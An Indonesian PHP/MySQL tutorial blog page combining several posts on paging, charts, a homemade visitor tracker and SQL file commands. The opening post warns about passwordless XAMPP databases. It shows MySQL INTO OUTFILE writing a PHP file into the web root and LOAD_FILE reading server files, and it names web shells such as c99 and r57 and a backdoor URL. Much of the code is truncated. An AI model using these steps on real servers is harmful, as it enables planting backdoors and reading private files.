[Hacking] Database kosong tak Berpassword, berbahayakah?

Saya mendapatkan pertanyaan demikian : “Bung, apakah jika saya menginstall xampp windows dan ada satu database kosong yang tidak digunakan yang usernya tidak saya beri password, apakah berbahaya? Saya ingin memberi password, namun karena sekedar testing, ngapain diberi password.Setelah pagi, saya lihat kok ada file aneh bahasanya kayak bahasa bahasa hacker gitu, apakah mungkin dari database kosong itu?

 

BEBERAPA PENJELASAN.

Dalam artikel lalu https://blogit.bimosaurus.com/2012/04/23/operasional-file-melalui-perintah-sql-sql-command-for-file-operation, telah ditunjukkan bagaimana sebuah perintah SQL dapat melakukan pembuatan file, begitu juga pembacaan file yang dimasukkan ke dalam database.

PhpMyAdmin adalah hanya salah satu tools pengolahan database berbasis web dalam MySQL Server. PhpMyAdmin adalah salah satu tools yang selalu ada dalam paket XAMPP. Untuk Windows, PhpMyAdmin ini akan mengikuti konfigurasi default, yaitu tanpa password untuk user root. Sementara user root adalah user dengan hak tertinggi pada pengolahan database MySQL.Khusus untuk root MySQL, root ini memiliki kemampuan mengolah database yang bernama database mysql yang mengatur segala struktur database dan konfigurasi database. Namun memang pengaturan database mysql ini, hanya bisa dilakukan oleh root dari localhost. Namun dengan adanya PhpMyAdmin, maka syarat ini menjadi hilang, karena administrator data/pengakses akan dapat melakukan pengaturan dari sisi web, sedangkan web/php akan melakukan olah data dari localhost. Untuk kemudahan itu, maka sebanding dengan resiko yang ada. Yaitu resiko keamanan.

Apakah jika database kosong dengan user bebas dan tanpa password bebas juga akan dapat berpotensi tidak aman? Jawabnya adalah : YA.

Berikut adalah contoh operasional database yang biasa dilakukan para hacker. Andaikan saya memiliki sebuah database kosong dengan nama : database_kosong, dan dapat diakses oleh user : bebas, tanpa password. Perhatikan langkah-langkah yang ada, dan cobalah anda konversikan penerapannya di PhpMyAdmin anda.

 

 


mysql> use kosong;
Database changed
mysql> show tables;
Empty set (0.00 sec)

mysql> CREATE TABLE `kosong` (`Id` int(23) NOT NULL AUTO_INCREMENT,`Content` text,PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=26 DEFAULT CHARSET=latin1;
Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+------------------+
| Tables_in_kosong |
+------------------+
| kosong           | 
+------------------+
1 row in set (0.01 sec)

mysql> select * from kosong;
Empty set (0.00 sec)

mysql> insert into `kosong` (`Content`) values ('');
Query OK, 1 row affected (0.00 sec)

mysql> select `Content` from `kosong` where Id='1' into outfile 'C:/xampp/htdocs/phpinfo2.php';

Bukalah browser anda dan ketikkan http://localhost/phpinfo2.php. Apa yang terjadi? Selanjutnya, bayangkanlah jika saya memiliki script PHP semacam ini:




Apa yang terjadi jika script semacam ini dimasukkan dalam field Content dan dieksekusi dengan “INTO OUTFILE” sebagai file dan suatu ketika dibuka oleh orang lain dengan : http://namaserver/url.php?url=http://alamatbackdoor/c99.txt?

Atau bisa juga justru script upload html yang dibuat seperti ini :



Dan si hacker melakukan upload backdoor, rootkit, atau script semacam c99.php, r57.php, DxShell? Terutama untuk Windows, default settingnya sangat rawan karena masih mengijinkan mysql untuk menuliskan dalam suatu direktori tanpa filter.

[Contoh] Super Simple Paging Halaman PHP MySQL

Berdasarkan sebuah request/permintaan melalui surel, seorang rekan saya menanyakan : dapatkah Paging/penomoran halaman dipermudah , dipersingkat, tanpa ribet koding namun juga tidak ribet memenuhi halaman jika halaman hingga ribuan. Sebenarnya paging/ pemberian nomor halaman pada PHP tergantung pada kebutuhan. Biasanya sesuatu yang lengkap akan membutuhkan penanganan yang lengkap juga. Begitu juga dengan paging. Namun kadang dengan analisa yang tepat, bisa juga didapatkan sesuatu yang simple dan enak, dan dapat memenuhi banyak kebutuhan. Berikut disini saya paparkan hasil analisa paging simple penomoran halaman sederhana namun cukup powerfull.

 
Paging ini dimulai dari penentuan jumlah item tiap halaman yang akan ditampilkan. Selanjutnya dilakukan penangkapan parameter page dari method GET. Dalam contoh, item per halaman ditampilkan 10.

$item_per_page = 10;
$page =  isset($_GET['page']) ? $_GET['page'] : 1 ;

Notasi tersebut berarti $page adalah didapat dari jika $_GET[‘page’] ter-set. Namun jika tidak akan berisi value 1. Untuk menghindari penomoran melewati batas, seperti kurang dari satu atau berisi value kosong, maka hadang / filter dulu dengan

if( ( $page < 1) && (empty( $page ) ) ){
      $page=1; 
   }

Untuk mendapatkan jumlah halaman berarti harus didapatkan lebih dulu jumlah item yang ada. Jumlah item yang ada didapat dari query SQL.

   $sql           = "select * from `table`";
   $query         = mysql_query( $sql );
   $jumlah_data   = mysql_num_rows($query);
   $jumlah_hal    = ceil( $jumlah_data/$item_per_page );

Selanjutnya filter juga agar page yang terdapat di method GET tidak lebih dari jumlah halaman.

   if( $page>$jumlah_hal ){
      $page=$jumlah_hal;
   }

Kemudian kita dapat membuat sebuah variable $lanjut dan $sebelum dengan penentuan seperti ini:

   $lanjut  = $page + 1;
   $sebelum = $page - 1;

Barulah kita membuat kata-kata seperti berikut dilengkapi dengan navigasi Paging:

   Anda ada di halaman  dari 
<<   < sebelumnya    ||    selanjutnya >   >> Ke Halaman:

Tampilan sangat sederhana seperti berikut :

Anda ada di halaman 3 dari 3
<< < sebelumnya || sesudahnya > >>
Ke Halaman

Sederhana bukan?

Secara lengkap Code akan dipaparkan dalam bentuk fungsi, sehingga untuk penomoran halaman tinggal memanggil melalui fungsi seperti demikian

$sql = "select * from table";
$item_per_page =10;
paging($sql, $item_per_page);

FUNGSI UTAMA PAGING SIMPLE

Fungsinya adalah sebagai berikut di bawah (saya beri nama dengan paging.php). Anda dapat kopikan fungsi ini ke dalam kode anda, dan anda panggil ketika anda akan memberikan penomoran halaman. Anda juga dapat melakukan modifikasi sendiri sesuka hati:

$jumlah_hal ){
      $page=$jumlah_hal;
   }
   $lanjut  = $page + 1;
   $sebelum = $page - 1;
   ?>
   Anda ada di halaman  dari 
<<   < sebelumnya    ||    selanjutnya >   >> Ke Halaman:

Selanjutnya contoh perhalamannya akan seperti berikut:

Mudah bukan? Semoga bermanfaat

[Contoh] Cara Membuat Grafik Dasar Web Dengan JQuery HighChart

Jika posting lalu telah dikenalkan dasar pembuatan Grafik dengan menggunakan JQuery JQPlot, maka sekarang dikenalkan dengan competitor JQuery Graphing Web juga. Tools berbasis JQuery itu adalah : HighChart. HighChart ini sama saja sebenarnya dengan JQPlot. Hanya saja menurut saya, HighChart ini lebih enak dalam dasar penulisan notasi data yang perlu dituliskan. JQPlot memiliki notasi penulisan data seri yang akan berpotensi lebih bertele (ribet) daripada HighChart.

Contoh adalah jika kita tuliskan pada JQPlot seperti demikian:

$.jqplot('spacegrafik',  [[[1, 1],[3,2],[5,1],[7,2],[9,1],[11,2]]]);

dan pada HighChart adalah:


xAxis: {
                categories: [1,3,5,7,9,11]
},


.
.
.
.

series: [{
                name: 'Nama Data',
                data: [1,2,1,2,1,2]
            },

Sedangkan biasanya data dari PHP akan berupa array dari data sejenis. Contoh adalah :


$datax = mysql_fetch_array( $query_x ); //berupa array data sejenis

$datay = mysql_fetch_array( $query_y ); //berupa array data sejenis

Namun tidak menutup kemungkinan bahwa data yang tersedia akan lebih nyaman menggunakan JQPlot. Pemilihan Tools akhirnya tergantung pada selera dan kebutuhan. Pembuatan grafik JPGraph pun akan memiliki kelebihan sendiri. Antara lain jika penggunaan grafik sekaligus akan dibentuk Gambar JPEG/PNG. Meskipun Highchart juga dapat membentuk JPG, namun terdapat satu keunggulan JPGraph dalam masalah pembuatan image.

Penggunaan Highchart

Source HighChart dapat diambil di http://www.highcharts.com/ demo dan contoh serta docs terletak lengkap disana. Extract Highchart tersebut dalam satu folder tertentu. Dalam contoh di sini digunakan Highchart pada https://blogit.bimosaurus.com/demo/highchart/

Selanjutnya untuk dasar penggunaan Grafik Line, akan digunakan seperti berikut langkahnya

  • Include script JQuery
  • Membuat script dengan diarahkannya grafik pada elemen yang dikehendaki
  • Melakukan penyisipan script Highchart
  • Menentukan letak elemen tujuan

Kira-kira akan seperti berikut ini script untuk membuat baris:







Kira-kira grafik yang akan dibentuk adalah seperti demikian.

Nah, selamat mencoba babak pertama JQPlot VS HighChart ini.. Selanjutnya akan kita buat sebuah contoh pembuatan grafik dengan JQPlot dan Highchart yang datanya diambil dari dalam database

Selamat Mencoba..

Contoh Cara Membuat Sendiri Site Tracker Sederhana

Anda tentu sudah terbiasa dengan counter online semacam feedjit, atau sitetracker, hitwebcounter, dan lain sebagainya. Sebenarnya bagaimana sih cara kerjanya. Cara kerjanya adalah mereka menanam program atau gambar program yang kemudian akan ikut ter-hit jika web dibuka oleh seseorang. Google analytics dan alexa pun juga melakukan hal yang serupa. Mereka meminta kita menanam suatu program atau file ke dalam struktur web kita, selanjutnya mereka akan selalu tahu ketika web kita dibuka. Sebenarnya dapat dibuat sendiri program site tracker sendiri, karena ternyata memang Apache dan bahasa pemrograman sisi server juga mendukung dibuatnya program untuk trace ip tersebut.

Untuk mengenalnya anda dapat membuka halaman http://php.net/manual/en/reserved.variables.server.php. Di sana dikenalkan beberapa hal tentang variable $_SERVER. Cobalah anda membuat sebuah halaman bernama : serverku.php, dan isilah dengan command seperti berikut:

 

print_r($_SERVER);

bukalah dari sisi client. Apa yang terjadi.

 

Selanjutnya, mari kita kenali beberapa variable penting untuk keperluan site trace tracker ini. Antara lain adalah:

  1. $_SERVER[‘HTTP_USER_AGENT’]; = adalah mesin yang digunakan oleh pengakses, meliputi Operating System, Browser, dan versi yang ada. Tertangkap ketika mengakses file program tracer.
  2. $_SERVER[‘REMOTE_ADDR’]; = adalah IP Pengakses file, tertangkap ketika mengakses program tracer
  3. $_SERVER[‘HTTP_REFERER’]; = adalah halaman yang dibuka (yang mengangkut program trace ) tertangkap ketika mengakses program tracer
  4. $_SERVER[‘HTTP_X_FORWARDED_FOR’]; adalah IP Lokal jika terdeteksi atau IP sebenarnya dibalik Proxy

Sebenarnya masih sangat banyak parameter yang bisa digunakan untuk melengkapi tracer/tracker IP ini. Namun kita hanya akan melakukan pengambilan dengan parameter ini saja dulu.

Selanjutnya kita akan buat dua buah program dengan PHP , yang pertama adalah tracker, yang kedua adalah tampilan untuk melihat hasil tracing IP. Untuk itu kita buat dulu tabel dalam sebuah database dengan susunan kira-kira sebagai berikut: nama database:trace, tabel: hits, dengan kolom

id, integer, panjang 10, autoincrement, primary key

useragent, text

page, text

remote_addr, varchar 255

time_access, timestamp

x_forwarded_for, varchar 255

 

Tabel yang terbentuk kira-kira adalah seperti berikut:

NIPNamaHONORStatus Ambil
No IP Page Waktu Mesin IP Lokal/Proxy
1 127.0.0.1 http://localhost/latihan1/anu.php 2012-04-23 15:12:38
2 127.0.0.1 http://localhost/latihan1/ 2012-04-23 15:11:39

Lantas kita buat program tracer / tracker dengan nama counter.php yang bertujuan melakukan inject ke dalam server database sebagai berikut:


~     

 

Kemudian sisi penampil hasil dengan nama lihat.php dibuat sebagai berikut:




NoIPPageWaktuMesinIP Lokal/Proxy
~

 

Selanjutnya bukalah http://namaserver/dir/counter.php. Dan lihatlah di http://namaserver/dir/lihat.php. Seharusnya anda telah melihat satu IP record baru. Kemudian secara simple, ternyata counter.php ini meskipun berekstensi PHP, namun tetap dapat diload sebagai image. Maka masukkan counter.php ini ke dalam salah satu widget blog anda dengan cara <img src=”http://namaserver/dir/counter.php”>. Setiap kali halaman dibuka, maka file counter.php akan ikut terpanggil dan melakukan proses. Untuk demo dapat diakses di https://blogit.bimosaurus.com/demo/lihat.php. Di mana setiap kali anda refresh, anda akan dapat melihat record dari database bertambah. Lihat juga view Source nya dari Browser anda atau tekan tombol Ctrl U. Anda akan mendapati bahwa saya menyisipkan counter.php dengan img src.

Untuk paging halaman lihat.php tidak saya buat, silakan dikembangkan sendiri yang mungkin literaturnya di dapat dari posting lalu https://blogit.bimosaurus.com/2011/09/13/simple-advanced-paging-php/ dan https://blogit.bimosaurus.com/2012/04/11/contoh-menyiasati-paging-dengan-jquery-jcarousel

Sebenarnya proses tersebut dapat dikembangkan lagi antara lain:

  • Menentukan asal network dan negara
  • Membuka seluruh variabel server yang ada
  • counter.php benar-benar akan berupa gambar
  • Menentukan IP Unik
  • Membuat Statistik
  • Membuat counter berdasar gambar
  • dan lain sebagainya

Namun untuk tahap ini adalah pengenalan dasar pembuatan site tracker. Tentu akan kita bahas di lain posting. Semoga bermanfaat.

 

 

Operasional File Melalui Perintah SQL (SQL Command for File Operation)

MySQL adalah salah satu bentuk database server yang bersifat Opensource. MySQL ini menjadi banyak pilihan karena sifatnya yang opensource, updated dan mudah dicari resource / literatur belajarnya. Biasanya para operator SQL menggunakan sintaks-sintaks SQL ini untuk keperluan: DDL (Data Definition Language), DML (Data Manipulation Language), DCL (Data Control Language) dan untuk beberapa jenis database terdapat TCL (Transaction Control Language).

Apakah itu?Hal itu akan dijelaskan pada bagian sub bab di bawah.

Namun SQL untuk MySQL juga memiliki command sintaks yang cukup ampuh sekaligus berbahaya, yaitu sintaks untuk berhubungan dengan file tertentu. Dua sintaks penting diantaranya adalah:

LOAD_FILE('path_file');

dan

INTO OUTFILE('path_tujuan');

 

Contoh penggunaannya adalah :

SELECT LOAD_FILE('/home/web/test.txt');

untuk keperluan membaca file ‘/home/web/test.txt’. Contoh lainnya dapat dikombinasikan seperti berikut:

INSERT INTO `table` (`id`,`text`) VALUES ('2',LOAD_FILE('/home/web/test.txt'));

 

Sedangkan satunya dapat digunakan seperti berikut:

SELECT `text` FROM `table` WHERE `id`='2' INTO OUTFILE('/home/web/test.txt');

biasanya digunakan untuk mengambil data dan dijadikan file text.

 

 

Selamat Mencoba. Perlu diingat bahwa sebagai seorang sistem administrator, maka kita harus baik-baik mengatur permission dari MySQL. Jangan sampai perintah-perintah mudah MySQL ini menjadi masalah di kemudian hari, karena cukup banyak hacker atau program hacker menggunakan perintah-perintah ini untuk menyusup masuk ke dalam server. Semoga bermanfaat

 

DDL, DML, DCL, TCL

DDL Adalah singkatan dari Data Definition Language. Biasanya digunakan untuk menentukan struktur data tabel dan skemanya. Sintaks yang termasuk DDL antara lain : CREATE, ALTER, DROP, RENAME, TRUNCATE, COMMENT

DML adalah singkatan dari Data Manipulation Language. Digunakan untuk operasional record data. Sintaks yang termasuk diantaranya antara lain: LOCK TABLE, UNLOCK TABLE, SELECT, INSERT, UPDATE, DELETE, MERGE

DCL adalah singkatan dari Data Control Language. Digunakan untuk melakukan kontrol database. Sintaks yang biasa digunakan adalah GRANT

 

[Contoh] Cara Membuat Grafik dengan JPGraph dengan PHP dan MySQL

Pada posting lalu https://blogit.bimosaurus.com/2012/04/19/contoh-1-dasar-membuat-grafik-dengan-jpgraph-di-php telah coba kita pelajari bagaimana membuat Grafik dengan JPGraph, dengan bahasa PHP dan mengambil data dari MySQL. Diharapkan pada posting tersebut diketahui dasar-dasar untuk membuat grafik sebelum lebih rumit mengambil database. Lantas, bagaimana jika grafik itu harus diambil dari database MySQL? Kuncinya adalah, data yang diambil dari database diambil ke dalam array untuk value sumbu x dan sumbu y. Secara dasar, sama dengan posting lalu, hanya bagaimana mengambil value MySQL dijadikan data x dan y.
Jika kemarin kita punya program macam ini

 

SetScale("textlin");



$graph->title->Set('Jumlah Orang Edan Karesidenan Kedu');


$graph->yaxis->HideZeroLabel();
$graph->yaxis->HideLine(false);


$graph->xgrid->Show();
$graph->xgrid->SetLineStyle("solid");
$graph->xaxis->SetTickLabels($data_x);
$graph->xgrid->SetColor('#E3E3E3');




$garis = new LinePlot($data_y);
$graph->Add($garis);
$garis->SetColor("#6495ED");
$garis->SetLegend('Tingkat Edan');


$graph->Stroke();


?>

Maka kita coba untuk membuat grafik dengan mengambil database dari database server MySQL. Data yang ita gunakan adalah data pertama yang dulu pernah kita buat. Maaf saya hanya mengambil lima (5) data pertama karena ternyata berisi data percobaan dari teman-teman yang mencoba mengisi database dengan excel

Database yang saya pakai adalah database kepegawaian. Tabelnya adalah tabel pegawai.

nip nama honor status_ambil
10001 Susanto Rp. 1000000 Belum
10002 Susanti Rp. 1000000 Sudah
10003 Marwoto Rp. 2000000 Sudah
10004 Gunadi Rp. 1500000 Belum
10005 Nur Eko Rp. 1000000 Belum

Misal saya akan membuat sebuah grafik dengan sumbu X adalah berisi nama orang dan sumbu Y menunjukkan banyaknya Rupiah yang diterima, maka berikut langkah yang dapat diambil:

  1. Tampilkan hasil Query untuk kelima record tersebut
  2. Ubah terlebih dahulu value yang terdapat dalam kolom honor menjadi numerik
  3. Tentukan data_x adalah nama orang dan data_y adalah besarnya honor, dengan melakukan kombinasi hasil query, explode dan array

Kira kira menjadi seperti demikian :


SetScale("textlin");



$graph->title->Set('Grafik jumlah honor');


$graph->yaxis->HideZeroLabel();
$graph->yaxis->HideLine(false);


$graph->xgrid->Show();
$graph->xgrid->SetLineStyle("solid");
$graph->xaxis->SetTickLabels($data_x);
$graph->xgrid->SetColor('#E3E3E3');




$garis = new LinePlot($data_y);
$graph->Add($garis);
$garis->SetColor("#6495ED");
$garis->SetLegend('Rupiah');


$graph->Stroke();



?>

Grafik yang dihasilkan seperti ini kira kira

Selamat Mencoba, semoga sukses.. Silakan bertanya jika terdapat kesalahan disini atau perlu ditanyakan, siap saya jawab. Gratis kok!

[Contoh 1] Dasar Membuat Grafik dengan JPGraph di PHP

Salah satu fitur penting dalam pembuatan sistem informasi berbasis web adalah pembuatan grafik. Pembuatan grafik terdapat beberapa cara antara lain dengan standard HTML, JavaScript/JQuery, dan yang paling banyak digunakan adalah dengan menggunakan fitur pembuat image JPGraph. Dalam kasus diambil di sini, akan diambil pembuatan grafik dengan JPGraph. JPGraph sendiri adalah merupakan tools berbasis PHP untuk membuat image/gambar dengan menggunakan kode-kode PHP. Tidak hanya grafik berbasis gambar, namun kita juga bisa memanfaatkan untuk keperluan Human Code Verification/CAPTCHA, pembuatan konten berbasis Image dan juga watermark untuk keperluan gambar anda.

Untuk JPGraph sendiri, dapat anda download di http://jpgraph.net/. Jika tidak salah, saat ini telah mencapai versi jpgraph-3.5.0b1. Penggunaannya adalah dengan cara melakukan include jpgraph.php yang ada pada direktori src, dan melakukan include jenis grafik yang akan digunakan. Misal akan digunakan tipe line ya tentu akan diload jpgraph_line.php. Selanjutnya, data yang akan dibuat grafik dikemas dalam variabel array, dengan memanggil fungsi-fungsi tertentu yang sudah ditentukan oleh JPGraph. Tentang fungsi-fungsi tersebut dapat dilihat dalam directori docs. Kira-kira susunan direktorinya adalah seperti berikut

 

jpgraph-3.5.0b1/

   src/

      Example

      fonts

      lang

      theme

      barcode

   docs/

 

Kali ini saya akan mencoba membuat satu contoh pembuatan grafik yang outputnya adalah image/gambar yang menampilkan grafik berformat garis/line. Untuk itu saya menggunakan include jpgraph.php dan jpgraph_line.php

Kira-kira seperti berikut:


SetScale("textlin"); //menentukan jenis grafik



$graph->title->Set('Jumlah Orang Edan Karesidenan Kedu'); //membuat judul atas


$graph->yaxis->HideZeroLabel(); //menyembunyikan nilai 0
$graph->yaxis->HideLine(false); //menampakkan garis

$graph->xgrid->Show(); //perintah tampilkan grid sumbu x
$graph->xgrid->SetLineStyle("solid"); // jenis garis solid, atau dot atau yang lain
$graph->xaxis->SetTickLabels($data_x); //data diambil dari
$graph->xgrid->SetColor('#E3E3E3'); //warna




$garis = new LinePlot($data_y); //mulai mengeplot
$graph->Add($garis); 
$garis->SetColor("#6495ED");
$garis->SetLegend('Tingkat Edan');


$graph->Stroke(); 


?>

 

Kira-kira bentuk akhirnya adalah seperti berikut url ini : https://blogit.bimosaurus.com/demo/grafik_garis.php

Kira kira akan berbentuk seperti ini :

Semoga bermanfaat. Posting selanjutnya adalah menggunakan Theme, mengenali Error dan melibatkan MySQL untuk mengambil data.